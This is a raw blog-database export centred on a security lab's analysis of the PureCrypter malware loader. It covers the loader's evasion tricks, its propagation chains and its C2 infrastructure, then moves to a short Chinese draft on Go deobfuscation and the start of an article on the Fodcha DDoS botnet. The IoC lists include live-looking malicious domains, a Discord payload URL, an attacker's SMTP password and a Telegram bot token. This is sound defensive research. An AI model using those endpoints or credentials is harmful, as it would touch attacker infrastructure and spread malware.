Its activity level can be reflected visually by our graph system.
It can be seen that it is associated with more domains and IPs, and the following is part of the IP's domain name resolution during this period.
2022-04-14 22:47:34 2022-07-05 00:42:16 22 rockrock.ug A 185.215.113.89
2022-04-21 08:22:03 2022-06-13 09:17:50 15 marnersstyler.ug A 185.215.113.89
2022-04-17 03:17:41 2022-06-10 04:31:27 2538 qwertzx.ru A 185.215.113.89
2022-04-24 02:16:46 2022-06-09 00:11:24 3 hubvera.ac.ug A 185.215.113.89
2022-04-15 23:47:43 2022-06-08 19:24:59 43 timekeeper.ug A 185.215.113.89
2022-04-15 11:34:35 2022-06-08 19:24:59 35 boundertime.ru A 185.215.113.89
2022-04-14 23:01:50 2022-06-08 15:33:25 24 timebound.ug A 185.215.113.89
2022-04-15 21:58:54 2022-06-08 05:43:21 7 www.rockrock.ug A 185.215.113.89
2022-04-16 20:50:41 2022-06-08 01:44:01 54 beachwood.ug A 185.215.113.89
2022-04-23 16:23:41 2022-06-07 18:30:51 5 asdsadasrdc.ug A 185.215.113.89
2022-05-02 22:35:40 2022-06-07 04:34:12 17 leatherlites.ug A 185.215.113.89
2022-05-29 17:46:00 2022-06-07 03:50:36 3 underdohg.ac.ug A 185.215.113.89
2022-04-15 22:34:53 2022-06-07 03:33:10 18 rockphil.ac.ug A 185.215.113.89
2022-04-15 03:09:13 2022-06-07 03:19:50 14 pdshcjvnv.ug A 185.215.113.89
2022-04-15 03:04:12 2022-06-07 03:12:04 16 mistitis.ug A 185.215.113.89
2022-04-16 03:08:46 2022-06-07 03:08:48 18 nicoslag.ru A 185.215.113.89
2022-04-19 02:33:31 2022-06-07 02:37:08 16 danwisha.ac.ug A 185.215.113.89
2022-05-28 23:56:02 2022-06-05 05:14:50 7 underdohg.ug A 185.215.113.89
2022-05-10 14:44:28 2022-06-02 17:40:12 24 jonescourtney.ac.ug A 185.215.113.89
2022-06-02 07:44:25 2022-06-02 07:44:25 1 triathlethe.ug A 185.215.113.89
2022-04-24 03:05:38 2022-06-01 16:54:59 2191 qwertasd.ru A 185.215.113.89
2022-04-17 09:34:27 2022-06-01 01:42:07 2 partaususd.ru A 185.215.113.89
2022-04-25 00:08:53 2022-05-31 07:17:00 5 timecheck.ug A 185.215.113.89
2022-04-21 02:36:41 2022-05-31 01:20:37 21 courtneyjones.ac.ug A 185.215.113.89
2022-04-16 19:09:02 2022-05-31 01:02:02 14 marksidfgs.ug A 185.215.113.89
2022-04-25 03:01:15 2022-05-30 03:04:29 10 mofdold.ug A 185.215.113.89
2022-04-15 02:36:21 2022-05-30 02:32:53 17 check-time.ru A 185.215.113.89
2022-04-18 02:21:26 2022-05-30 02:22:30 17 agenttt.ac.ug A 185.215.113.89
2022-04-17 03:17:46 2022-05-29 03:17:26 15 qd34g34ewdfsf23.ru A 185.215.113.89
2022-04-19 02:25:06 2022-05-29 02:22:57 14 andres.ug A 185.215.113.89
2022-04-16 02:27:44 2022-05-29 02:22:47 16 asdasgs.ug A 185.215.113.89
From the visits in column 3, differences in the number of visits to these domains can be found, with overall visits in the thousands, and this is only one of the many C2s we see.
Through correlation analysis, we found that 185.215.113.89 is often used in conjunction with two C2s, 62.204.41.69 (March) and 45.143.201.4(June), and their relationship can be correlated using the chart below.
Propagation analysis
PureCrypter uses the dual module mechanism of downloader+injector, the former is disseminated and then the latter is disseminated, which is equivalent to adding a link to the dissemination chain, plus the author's usual means to hide the objector by means of fake image, encoding transmission, etc., which is complicated enough in itself.
The author also put a lot of effort in the downloader propagation piece, we see the way through the bat2exe bundled crack software, the use of VBS and powershell script loader, combined with Godzilla front loader and many other ways, the result of these operations superimposed is the spread chain is generally deeper and more complex. In May we even found cases of spreading Raccoon through PureCrypter, which further spread Azorult, Remcos, PureMiner, and PureClipper.
Here are a few typical propagation techniques.
1, "Bat2Exe+Powershell+VBS+Meteorite+PureCrypter" spreading Mars Stealer
This is mainly seen in some cracking software, downloader module is bundled to the former for propagation with Bat2Exe. The actual payload files stored in the resource are released to the tmp directory and triggered by the start.bat. The files released in the tmp directory are shaped as follows.
The start.bat command takes the shape of:
In the case we analyzed, the .lnk file is used to start the powershell to execute the malicious command.
Powershell decodes a base64-encoded VBS loader.
The VBS loader further releases a downloader and runs the latter via shellcode. The key information of this downloader is stored in the resource, including the process name and download url, as shown in the image below.
The downloader is named Meteorite according to the process name after running, and the url in the above figure corresponds to the downloader module of PureCrypter, and the complete communication process is as follows.
The final payload is Mars Stealer, c2: rockrock.ug/gggate.php, with the following configuration information:
2, "VBS/Powershell + PureCrypter" propagating PureMiner
The C2 involved is 89.34.27.167. The entry can be either a VBS script or a Powershell script, here is an example of VBS script.
The network communication traffic is as follows.
Powershell script is as follows.
The Powershell script downloads and runs the downloader module of PureCrypter, which proceeds to download the injector, here it is more specific to use Discord to distribute the injector:
The final payload is PureMiner and C2 is as follows:
185.157.160.214
pwn.oracleservice.top
pwn.letmaker.top
port: 8080, 8444
3, "unknown .NET downloader + PureCrypter" to spread AgentTesla, RedLine
The downloader family is unknown, and its runtime is also divided into multiple stages, where the stage0 module is responsible for loading the stage1 malicious module in the resource.
The stage1 module will continue to load the next stage module stage2 after running.
stage2 module is also a Crypter (not yet named), different from PureCrypter, he also provides a download function, used to download the malicious PureCrypter downloader module, that is, the figure of puty.exe.
The malware can be decrypted from the resource with the key bnvFGkCKlnhQ using the following algorithm.
Two families of binaries are spread. Stage2's payload is AgentTesla with C2: https[:]//api.telegram.org/bot5421147975:AAGrsGnLOHZfFv7yHuj3hZdQSOVmPodIAVI/sendDocument
PureCrypter's payload is RedLine with C2:
IP: workstation2022.ddns.net:62099
ID: cheat
Summary
PureCrypter is a MaaS type botnet that is still active and has spread more than 10 other families of payloads, with generally complex spreading practices. There might be a fairly big and resourceful team behind it, so it won’t surprised us if they continuously add and spread other malicious families in the future. We will keep an eye on it and share more information when it is needed.
Contact us
Readers are always welcomed to reach us on twitter or email us to netlab[at]360.cn.
IoCs
MD5
Family Name
MD5
Bat2Exe Downloader
424ed5bcaae063a7724c49cdd93138f5
VBS downloader
3f20e08daaf34b563227c797b4574743
Powershell downloader
c4c5167dec23b6dd2d565cd091a279e4
Unknown .NET Downloader
9b70a337824bac612946da1432295e9c
C2 &URL
agenttt.ac.ug
andres.ug
asdasgs.ug
asdsadasrdc.ug
beachwood.ug
boundertime.ru
check-time.ru
courtneyjones.ac.ug
danwisha.ac.ug
hopeforhealth.com.ph
hubvera.ac.ug
jonescourtney.ac.ug
leatherlites.ug
marksidfgs.ug
marnersstyler.ug
mistitis.ug
mofdold.ug
momomolastik.ug
nicoslag.ru
partaususd.ru
pdshcjvnv.ug
qd34g34ewdfsf23.ru
qwertasd.ru
qwertzx.ru
raphaellasia.com
rockphil.ac.ug
rockrock.ug
timebound.ug
timebounder.ru
timecheck.ug
timekeeper.ug
triathlethe.ug
underdohg.ac.ug
underdohg.ug
www.rockrock.ug
212.192.246.195
37.0.11.164:8080
80.66.75.123
89.34.27.167
91.243.44.142
185.215.113.89
62.204.41.69
45.143.201.4
https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"In our daily botnet analysis work, it is common to encounter various loaders.Compared to other types of malware, loaders are unique in that they are mainly used to \"promote\", i.e., download and run other malware on the infected machine. According to our observations, most loaders are proprietary and have a binding relationship with the family they are promoting. A few loader families make themselves into promotion platforms that can spread any other malware family, achieving the so-called malware-as-a-service (MaaS). Compared with proprietary loaders, MaaS types are obviously more dangerous and should be our primary target of concern.\n\nThis article introduces a MaaS type loader we saw a while ago, named PureCrypter, which is very active this year, promoting more than 10 other families and using hundreds of C2s. Zscaler has done a [detailed sample analysis](https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter), this blog mainly introduces the PureCrypter propagation activity we saw from the perspective of C2s and propagation chains to explore the operation of the MaaS type botnet.\n\nThe main points of this paper are as follows.\n\n* PureCrypter is a loader written in C# that has been around since at least 2021 and can propagate any other family.\n* PureCrypter continues to be active this year and has propagated more than 10 other malware families including Formbook, SnakeKeylogger, AgentTesla, Redline, AsyncRAT, and others.\n* PureCrypter authors appears to be resourceful, as we have seen hundreds of C2 domains and IPs.\n* PureCrypter use image name suffixes combined with inversion, compression and encryption to avoid detection.\n* PureCrypter has a long propagation chain, and most of them use pre-protectors, some times mixed with other loaders, making detection more difficult.\n\nIn general, the spread of PureCrypter can be summarized in the following figure.\n\n![Image--0--1](__GHOST_URL__/content/images/2022/08/Image--0--1.png)\n\nNow let’s look at the samples and some typical propagation cases below.\n\n# Sample analysis\n\nPureCrypter uses the [package mechanism](https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter), which consists of two executables: downloader and injector, both written in C#, where downloader is responsible for propagating the injector, which releases and runs the final payload. \n\nIn practice, the attacker generates downloader and injector through builder, and then will try to propagate downloader, which will download and execute injector on the target machine, and then injector will do the rest of the work. In terms of code logic, the downloader module is relatively simple, with a low level of binary obfuscation and no complex operations such as environment detection and persistence, while injector uses common tricks and techniques seen in popular loaders, such as binary obfuscation, runtime environment detection, starting puppet processes, etc. The following is a brief introduction to downloader and injector combined with actual examples.\n\n## downloader module\nThis module directly calls WebClient's DownloadData method for HTTP downloads, without setting any HTTP headers.\n\n![Image--11-](__GHOST_URL__/content/images/2022/08/Image--11-.png)\n\nThe following is an example of downloading a sample variant with inverted processing, from the parsing code you can see that the HTTP payload is inverted.\n\n![Image--12-](__GHOST_URL__/content/images/2022/08/Image--12-.png)\n\nThe inverted PE Header can be found at the end.\n\n![Image--13-](__GHOST_URL__/content/images/2022/08/Image--13-.png)\n\nFinally, the recovered data (.DLL file) is loaded by Assembly.Load, and the entry method of plaintext encoding is called to proceed to the next stage.\n\n![Image--14-](__GHOST_URL__/content/images/2022/08/Image--14-.png)\n\nPureCrypter is relatively simple to protect the injector download, so far, in addition to the above mentioned inverted (reverse) encoding, there are also gzip compression, symmetric encryption, etc. This encoding is fixed, that is, the builder has already determined the encoding method when generating the modules of downloader and injector.\n\nThe following is an example of using gzip compression and then transferring the injector, and the magic header of gzip can be found at the beginning: ```1F 8B 08 00```.\n\n![Image--15-](__GHOST_URL__/content/images/2022/08/Image--15-.png)\n\nWe have also come across examples where AES encryption is used.\n\n![Image--16-](__GHOST_URL__/content/images/2022/08/Image--16-.png)\n\nIn addition to AES, PureCrypter also supports DES, RC4 and other encryption algorithms.\n\n## injector module\nIf you analyze the injector samples restored by downloader, you will find that the latter are heavily obfuscated. Here is an example of an injector obfuscated by SmartAssembly and partially encrypted with resources.\n\n![Image--17-](__GHOST_URL__/content/images/2022/08/Image--17-.png)\n\nAs shown in the figure above, first the relevant configuration information can be got from the combo of Reverse + GZip + Protubuf.Deserialize; then the runtime environment is checked to fight against sandboxing, with mutexes creation and persistence being done based on the configuration; and finally the payload is read from the resource section for loading. The sample does not enter any if statement, and soon reaches the last important function, which mainly implements the final payload injection. 4 injection methods are supported. While which one to use depends on the configuration, Process Hollowing is the most frequently used one.\n\n![image](__GHOST_URL__/content/images/2022/08/image.png)\n\nThe final payload is stored in the resource. \n\n![Image--18-](__GHOST_URL__/content/images/2022/08/Image--18-.png)\n\nAfter reversing and gzip decompression, a puppet process is created to start the final payload.\n\n![Image--19-](__GHOST_URL__/content/images/2022/08/Image--19-.png)\n\nThe final payload promoted above is AgentTesla, whose configuration information is as follows.\n```\nhost: raphaellasia.com\nport:587\nusername: origin@raphaellasia.com\npwd: student@1980\nto: origin2022@raphaellasia.com\n```\n\n## Accidental discovery\nPureCrypter likes to disguise the injector as an image for downloading, the image name is relatively random and has obvious machine generated features. Here are some of the actual detected image names.\n```\n# pattern 1\n/dl/0414/net_Gzhsuovx.bmp\n/dl/0528/mars2_Hvvpvuns.bmp\n/dl/0528/az_Tsrqixjf.bmp\n\n# pattern 2\n/040722/azne_Bvaquebo.bmp\n/04122022/net_Ygikzmai.bmp\n/04122022/azne_Jzoappuq.bmp\n/04122022/pm_Dxjlqugu.bmp\n/03252022/azne_Rmpsyfmd.bmp\n\n# pattern 3\n/Rrgbu_Xruauocq.png\n/Gepstl_Mouktkmu.bmp\n/Zhyor_Uavuxobp.png\n/Xgjbdziy_Kglkvdfb.png\n/Ankwgqtwf_Bdevsqnz.bmp\n/Osgyjgne_Ymgrebdt.png\n/Rrgbu_Xruauocq.png\n/Gepstl_Mouktkmu.bmp\n/Osgyjgne_Ymgrebdt.png\n/Osgyjgne_Ymgrebdt.png\n/Zhyor_Uavuxobp.png\n\n```\n\nAfter analyzing several samples, we found that there is a correspondence between the requested image name and the downloader's AssmblyName.\n\n| PictureName | AssmblyName |\n| --- | --- |\n| Belcuesth_Ipdtbadv.png | Belcuesth |\n| Kzzlcne_Prgftuxn.png | Kzzlcne |\n|newminer2_Jrltkmeh.jpg|newminer2|\n| Belcuesth_Ipdtbadv.png|Belcuesth|\n| Nykymad_Bnhmcpqo.bmp | Nykymad|\n|my_ori_Ywenb_Yzueqpjp.bmp | my ori Ywenb|\n\nand the content after the underscore always matches the regular expression\n> [A-Z][a-zA-Z]{7}\n\n# C2 and propagation analysis\nPureCrypter has been active this year, and we have detected more than 200 C2 domains and IPs, and more than 10 propagated families. In the cases we have seen, the propagation chain is generally long, and the downloader module of PureCrypter is often used in conjunction with various other types of predecessor downloaders. Because there are too many C2s, here is an introduction to `185.215.113.89` as an example in terms of scale and propagation methods.\n## C2 analysis\n\nThis C2 is more active than others among the C2s we detected, and its active time is from mid-April to early June this year, as shown in the figure below.\n\n![xmon_185.215.113.89_ganwang](__GHOST_URL__/content/images/2022/08/xmon_185.215.113.89_ganwang.png)\n\nIts activity level can be reflected visually by our graph system.\n\n![domain_ip_of_butler_202205-1](__GHOST_URL__/content/images/2022/08/domain_ip_of_butler_202205-1.png)\n\nIt can be seen that it is associated with more domains and IPs, and the following is part of the IP's domain name resolution during this period.\n```\n2022-04-14 22:47:34\t2022-07-05 00:42:16\t22\trockrock.ug\tA\t185.215.113.89\t\n2022-04-21 08:22:03\t2022-06-13 09:17:50\t15\tmarnersstyler.ug\tA\t185.215.113.89\t\n2022-04-17 03:17:41\t2022-06-10 04:31:27\t2538\tqwertzx.ru\tA\t185.215.113.89\t\n2022-04-24 02:16:46\t2022-06-09 00:11:24\t3\thubvera.ac.ug\tA\t185.215.113.89\t\n2022-04-15 23:47:43\t2022-06-08 19:24:59\t43\ttimekeeper.ug\tA\t185.215.113.89\t\n2022-04-15 11:34:35\t2022-06-08 19:24:59\t35\tboundertime.ru\tA\t185.215.113.89\t\n2022-04-14 23:01:50\t2022-06-08 15:33:25\t24\ttimebound.ug\tA\t185.215.113.89\t\n2022-04-15 21:58:54\t2022-06-08 05:43:21\t7\twww.rockrock.ug\tA\t185.215.113.89\t\n2022-04-16 20:50:41\t2022-06-08 01:44:01\t54\tbeachwood.ug\tA\t185.215.113.89\t\n2022-04-23 16:23:41\t2022-06-07 18:30:51\t5\tasdsadasrdc.ug\tA\t185.215.113.89\t\n2022-05-02 22:35:40\t2022-06-07 04:34:12\t17\tleatherlites.ug\tA\t185.215.113.89\t\n2022-05-29 17:46:00\t2022-06-07 03:50:36\t3\tunderdohg.ac.ug\tA\t185.215.113.89\t\n2022-04-15 22:34:53\t2022-06-07 03:33:10\t18\trockphil.ac.ug\tA\t185.215.113.89\t\n2022-04-15 03:09:13\t2022-06-07 03:19:50\t14\tpdshcjvnv.ug\tA\t185.215.113.89\t\n2022-04-15 03:04:12\t2022-06-07 03:12:04\t16\tmistitis.ug\tA\t185.215.113.89\t\n2022-04-16 03:08:46\t2022-06-07 03:08:48\t18\tnicoslag.ru\tA\t185.215.113.89\t\n2022-04-19 02:33:31\t2022-06-07 02:37:08\t16\tdanwisha.ac.ug\tA\t185.215.113.89\t\n2022-05-28 23:56:02\t2022-06-05 05:14:50\t7\tunderdohg.ug\tA\t185.215.113.89\t\n2022-05-10 14:44:28\t2022-06-02 17:40:12\t24\tjonescourtney.ac.ug\tA\t185.215.113.89\t\n2022-06-02 07:44:25\t2022-06-02 07:44:25\t1\ttriathlethe.ug\tA\t185.215.113.89\t\n2022-04-24 03:05:38\t2022-06-01 16:54:59\t2191\tqwertasd.ru\tA\t185.215.113.89\t\n2022-04-17 09:34:27\t2022-06-01 01:42:07\t2\tpartaususd.ru\tA\t185.215.113.89\t\n2022-04-25 00:08:53\t2022-05-31 07:17:00\t5\ttimecheck.ug\tA\t185.215.113.89\t\n2022-04-21 02:36:41\t2022-05-31 01:20:37\t21\tcourtneyjones.ac.ug\tA\t185.215.113.89\t\n2022-04-16 19:09:02\t2022-05-31 01:02:02\t14\tmarksidfgs.ug\tA\t185.215.113.89\t\n2022-04-25 03:01:15\t2022-05-30 03:04:29\t10\tmofdold.ug\tA\t185.215.113.89\t\n2022-04-15 02:36:21\t2022-05-30 02:32:53\t17\tcheck-time.ru\tA\t185.215.113.89\t\n2022-04-18 02:21:26\t2022-05-30 02:22:30\t17\tagenttt.ac.ug\tA\t185.215.113.89\t\n2022-04-17 03:17:46\t2022-05-29 03:17:26\t15\tqd34g34ewdfsf23.ru\tA\t185.215.113.89\t\n2022-04-19 02:25:06\t2022-05-29 02:22:57\t14\tandres.ug\tA\t185.215.113.89\t\n2022-04-16 02:27:44\t2022-05-29 02:22:47\t16\tasdasgs.ug\tA\t185.215.113.89\t\n```\n\nFrom the visits in column 3, differences in the number of visits to these domains can be found, with overall visits in the thousands, and this is only one of the many C2s we see.\n\nThrough correlation analysis, we found that `185.215.113.89` is often used in conjunction with two C2s, `62.204.41.69` (March) and `45.143.201.4`(June), and their relationship can be correlated using the chart below.\n\n![Image--21--2](__GHOST_URL__/content/images/2022/08/Image--21--2.png)\n\n## Propagation analysis\nPureCrypter uses the dual module mechanism of downloader+injector, the former is disseminated and then the latter is disseminated, which is equivalent to adding a link to the dissemination chain, plus the author's usual means to hide the objector by means of fake image, encoding transmission, etc., which is complicated enough in itself. \n\nThe author also put a lot of effort in the downloader propagation piece, we see the way through the bat2exe bundled crack software, the use of VBS and powershell script loader, combined with Godzilla front loader and many other ways, the result of these operations superimposed is the spread chain is generally deeper and more complex. In May we even found cases of spreading Raccoon through PureCrypter, which further spread Azorult, Remcos, PureMiner, and PureClipper.\n\n![PC-RACCOON-OTHER](__GHOST_URL__/content/images/2022/08/PC-RACCOON-OTHER.png)\n\nHere are a few typical propagation techniques.\n\n### 1, \"Bat2Exe+Powershell+VBS+Meteorite+PureCrypter\" spreading Mars Stealer\nThis is mainly seen in some cracking software, downloader module is bundled to the former for propagation with Bat2Exe. The actual payload files stored in the resource are released to the tmp directory and triggered by the start.bat. The files released in the tmp directory are shaped as follows.\n\n![Image--1-](__GHOST_URL__/content/images/2022/08/Image--1-.png)\n\nThe start.bat command takes the shape of:\n\n![Image--2-](__GHOST_URL__/content/images/2022/08/Image--2-.png)\n\nIn the case we analyzed, the .lnk file is used to start the powershell to execute the malicious command.\n\n![Image--3-](__GHOST_URL__/content/images/2022/08/Image--3-.png)\n\nPowershell decodes a base64-encoded VBS loader.\n\n![Image--8-](__GHOST_URL__/content/images/2022/08/Image--8-.png)\n\nThe VBS loader further releases a downloader and runs the latter via shellcode. The key information of this downloader is stored in the resource, including the process name and download url, as shown in the image below.\n\n![Image--28-](__GHOST_URL__/content/images/2022/08/Image--28-.png)\n\nThe downloader is named Meteorite according to the process name after running, and the url in the above figure corresponds to the downloader module of PureCrypter, and the complete communication process is as follows.\n\n![25e6857acc38482a85b9863f5749d21a-----](__GHOST_URL__/content/images/2022/08/25e6857acc38482a85b9863f5749d21a-----.png)\n\nThe final payload is Mars Stealer, c2: `rockrock.ug/gggate.php`, with the following configuration information:\n\n![Image--24-](__GHOST_URL__/content/images/2022/08/Image--24-.png)\n\n### 2, \"VBS/Powershell + PureCrypter\" propagating PureMiner\nThe C2 involved is `89.34.27.167`. The entry can be either a VBS script or a Powershell script, here is an example of VBS script.\n\n![Image--4-](__GHOST_URL__/content/images/2022/08/Image--4-.png)\n\nThe network communication traffic is as follows.\n\n![VBS_CASE](__GHOST_URL__/content/images/2022/08/VBS_CASE.png)\n\nPowershell script is as follows.\n\n![Image--25-](__GHOST_URL__/content/images/2022/08/Image--25-.png)\n\nThe Powershell script downloads and runs the downloader module of PureCrypter, which proceeds to download the injector, here it is more specific to use Discord to distribute the injector:\n\n![Image--26-](__GHOST_URL__/content/images/2022/08/Image--26-.png)\n\nThe final payload is PureMiner and C2 is as follows:\n```\n185.157.160.214\npwn.oracleservice.top\npwn.letmaker.top\n\nport: 8080, 8444\n```\n\n### 3, \"unknown .NET downloader + PureCrypter\" to spread AgentTesla, RedLine\nThe downloader family is unknown, and its runtime is also divided into multiple stages, where the stage0 module is responsible for loading the stage1 malicious module in the resource.\n\n![Image--5-](__GHOST_URL__/content/images/2022/08/Image--5-.png)\n\nThe stage1 module will continue to load the next stage module stage2 after running.\n\n![Image--6-](__GHOST_URL__/content/images/2022/08/Image--6-.png)\n\nstage2 module is also a Crypter (not yet named), different from PureCrypter, he also provides a download function, used to download the malicious PureCrypter downloader module, that is, the figure of puty.exe.\n\n![Image--7-](__GHOST_URL__/content/images/2022/08/Image--7-.png)\n\nThe malware can be decrypted from the resource with the key `bnvFGkCKlnhQ` using the following algorithm.\n\n![Image--29-](__GHOST_URL__/content/images/2022/08/Image--29-.png)\n\nTwo families of binaries are spread. Stage2's payload is AgentTesla with C2: ```https[:]//api.telegram.org/bot5421147975:AAGrsGnLOHZfFv7yHuj3hZdQSOVmPodIAVI/sendDocument```\n\nPureCrypter's payload is RedLine with C2:\n```\nIP: workstation2022.ddns.net:62099\nID: cheat\n```\n\n# Summary\nPureCrypter is a MaaS type botnet that is still active and has spread more than 10 other families of payloads, with generally complex spreading practices. There might be a fairly big and resourceful team behind it, so it won’t surprised us if they continuously add and spread other malicious families in the future. We will keep an eye on it and share more information when it is needed.\n\n# Contact us\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab) or email us to **netlab[at]360.cn**.\n\n## IoCs\n\n### MD5\n\n| Family Name | MD5 |\n| --- | --- |\n|Bat2Exe Downloader| 424ed5bcaae063a7724c49cdd93138f5|\n|VBS downloader| 3f20e08daaf34b563227c797b4574743|\n|Powershell downloader| c4c5167dec23b6dd2d565cd091a279e4|\n|Unknown .NET Downloader| 9b70a337824bac612946da1432295e9c|\n\n### C2 &URL\n```\nagenttt.ac.ug\nandres.ug\nasdasgs.ug\nasdsadasrdc.ug\nbeachwood.ug\nboundertime.ru\ncheck-time.ru\ncourtneyjones.ac.ug\ndanwisha.ac.ug\nhopeforhealth.com.ph\nhubvera.ac.ug\njonescourtney.ac.ug\nleatherlites.ug\nmarksidfgs.ug\nmarnersstyler.ug\nmistitis.ug\nmofdold.ug\nmomomolastik.ug\nnicoslag.ru\npartaususd.ru\npdshcjvnv.ug\nqd34g34ewdfsf23.ru\nqwertasd.ru\nqwertzx.ru\nraphaellasia.com\nrockphil.ac.ug\nrockrock.ug\ntimebound.ug\ntimebounder.ru\ntimecheck.ug\ntimekeeper.ug\ntriathlethe.ug\nunderdohg.ac.ug\nunderdohg.ug\nwww.rockrock.ug\n212.192.246.195\n37.0.11.164:8080\n80.66.75.123\n89.34.27.167\n91.243.44.142\n185.215.113.89\n62.204.41.69\n45.143.201.4\nhttps://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 63084fb81510a00007850cee |
post | null | 2022-09-27T10:46:05.000Z | 63873b9a8b1c1e0007f53022 | go-hun-yao-huan-yuan-si-lu-bei-fen | 0 | 2022-09-27T10:49:23.000Z | public | draft | null | null | Go 混淆还原思路备份 | <!--kg-card-begin: markdown--><p>基于叶子节点分布情况还原包名</p>
<p><img src="__GHOST_URL__/content/images/2022/09/Funtion_Leaf.png" alt="Funtion_Leaf" loading="lazy"></p>
<!--kg-card-end: markdown--> | 基于叶子节点分布情况还原包名
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"基于叶子节点分布情况还原包名\n\n![Funtion_Leaf](__GHOST_URL__/content/images/2022/09/Funtion_Leaf.png)"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 6332d46d5e8a7e0007856391 |
post | null | 2022-10-19T10:19:03.000Z | 63873b9a8b1c1e0007f53023 | ddosmonster_the_return_of__fodcha_cn | 0 | 2022-10-27T03:26:16.000Z | public | published | null | 2022-10-27T02:49:26.000Z | 卷土重来的DDoS狂魔:Fodcha僵尸网络再次露出獠牙 | <!--kg-card-begin: markdown--><h1 id="">背景</h1>
<p>2022年4月13日,360Netlab首次向社区披露了Fodcha僵尸网络,在我们的文章发表之后,Fodcha遭受到相关部门的打击,其作者迅速做出回应,在样本中留下<code>Netlab pls leave me alone I surrender</code>字样向我们投降。本以为Fodcha会就此淡出江湖,没想到这次投降只是一个<strong>不讲武德的假动作</strong>,Fodcha的作者在诈降之后并没有停下更新的脚步,很快就推出了新版本。</p>
<p>在新版本中,Fodcha的作者重新设计了通信协议,并开始使用xxtea和chacha20算法对敏感资源和网络通信进行加密,以躲避文件&流量层面的检测;同时引入了<strong>OpenNIC 域名</strong>做为主选C2,<strong>ICANN 域名</strong>做为后备C2的双C2方案。这种冗余机制,既能防止C2被接管,又有良好的健壮性,能够维持其主控网络的稳定。</p>
<p>依托于背后团队强大的N-day漏洞整合能力,卷土重来的Focha与之前对比可谓有过之而无不及。在我们的数据视野中,<strong>从规模来看</strong>,Fodcha再次发展成日活Bot节点数超过60K,C2域名绑定40+IP,可以轻松打出超过<strong>1Tbps</strong>流量的大规模僵尸网络;<strong>就活跃程度而言</strong>,Fodcha日均攻击目标100+,累计攻击目标2万多,在10月11日到达了攻击的巅峰,单日“<strong>丧心病狂</strong>”的攻击了<strong>1396个目标</strong>。</p>
<p>在极短的时间内重回巅峰,Fodcha的作者似乎忘了闷声发大财的道理,竟然又开始主动"招惹”我们,在某次扫描的脚本中使用<code>N3t1@bG@Y</code>字样的leetspeak,翻译过来就是"<code>NETLABGAY</code>",这么明目张胆的黑Netlab,让我们觉得它多多少少有些“皮痒”了。</p>
<p>鉴于Fodcha的规模&活跃程度带来的巨大危险性,以及非常嚣张的挑衅,我们决定撰写本文向社区分享我们的发现,一起打击Fodcha的嚣张气焰,共同维护网络安全。</p>
<h1 id="">时间线</h1>
<p>依托于360Netlab强大的BotMon和DDoSMon系统,我们对Fodcha的样本演变和DDoS攻击指令一直保持着良好跟踪,下面是我们看到的样本演变以及一些重要的DDoS攻击事件。(注:Fodcha样本本身没有特定的标志表明其版本,这是我们内部为了跟踪方便而定的版本号)</p>
<ul>
<li>
<p>2022年1月12日,首次捕获到Fodcha僵尸网络样本。</p>
</li>
<li>
<p>2022年4月13日,首次向外披露Fodcha僵尸网络,包含版本V1,V2。</p>
</li>
<li>
<p>2022年4月19日,捕获版本V2.x,使用<strong>OpenNIC's TLDs风格的C2</strong>(全文简称OpenNIC C2)。</p>
</li>
<li>
<p>2022年4月24日,捕获版本V3,使用xxtea算法加密配置信息,新增<strong>ICANN's TLDs风格的C2</strong>(全文简称ICANN C2),和OpenNIC C2构成冗余机制;新增反沙箱&反调试机制。</p>
</li>
<li>
<p>2022年6月5日,捕获版本V4,使用结构化的配置信息,去除反沙箱&反调试机制。</p>
</li>
<li>
<p>2022年6月7&8日,监控到Fodcha对<strong>某国的某地的健康码机构</strong>进行了DDoS攻击。</p>
</li>
<li>
<p>2022年7月7日,捕获版本V4.x,额外新增一组ICANN C2。</p>
</li>
<li>
<p>2022年9月X日,在协助<strong>某国的某执法机构</strong>固定某公司语音业务被DDoS攻击的证据链过程中,发现攻击背后有Fodcha的影子。</p>
</li>
<li>
<p>2022年9月21日,<strong>某知名云服务商</strong>就一起流量<strong>超过1Tbps</strong>的攻击事件向我们咨询,经过数据的交叉比对,确定攻击方为Fodcha。</p>
</li>
</ul>
<h1 id="">规模推测</h1>
<p>国外合作伙伴的数据表明Fodcha 4月份时全球日活Bot的数量为6W(<a href="__GHOST_URL__/fodcha-a-new-ddos-botnet/">参考我们另一篇文章</a>),关于Fodcha僵尸网络的目前规模,我们没有确切的数字,但通过对比Fodcha 4月和10月在C2 IP数量上的差异,我们从技术上出发,有个未经验证的猜测:目前Fodcha的日活Bot数量超过6W。</p>
<p>推测过程如下:<br>
僵尸网络的规模与C2 IP的数量存在一个正向关系,最朴素的观点是:“僵尸网络规模越大,所需要的C2基础设施也越多”。在4月份,Fodcha被处置之前,其作者为维持6W的规模,投入了10个C2 IP;随后Fodcha开始了自己的复活之旅,我们观察到一个现象,随着Fodcha的复苏,其C2域名对应的IP在持续增加。时至今日,Fodcha的作者投入了多少C2 IP呢?使用dig命令查询最新的C2域名<code>yellowchinks.dyn</code>的绑定IP,可以看到数量是44。<br>
<a href="__GHOST_URL__/content/images/2022/10/fodcha_c2infras.png"><img src="__GHOST_URL__/content/images/2022/10/fodcha_c2infras.png" class="kg-image"/></a></p>
<p>可以说我们见证了Fodcha的C2 IP一步步从几个增长到今天的40+,可能的解释是作者人傻钱多无脑上资源,但结合其迅猛的传播以及历史上曾看到的万级规模,他们增加C2 IP更可能的原因是因为其僵尸网络规模太大,需要投入更多的IP资源,以使Bot与C2之间在数量上有一个合理比例,达到负载均衡。</p>
<p>综上,我们从C2 IP数量上大幅度的增长,推测目前Fodcha的规模大于4月份,日活Bot数量超过6W。当然<strong>再合理的推测也还是假设</strong>,欢迎有视野的社区伙伴<strong>不吝指正</strong>。</p>
<h1 id="ddos">DDoS统计</h1>
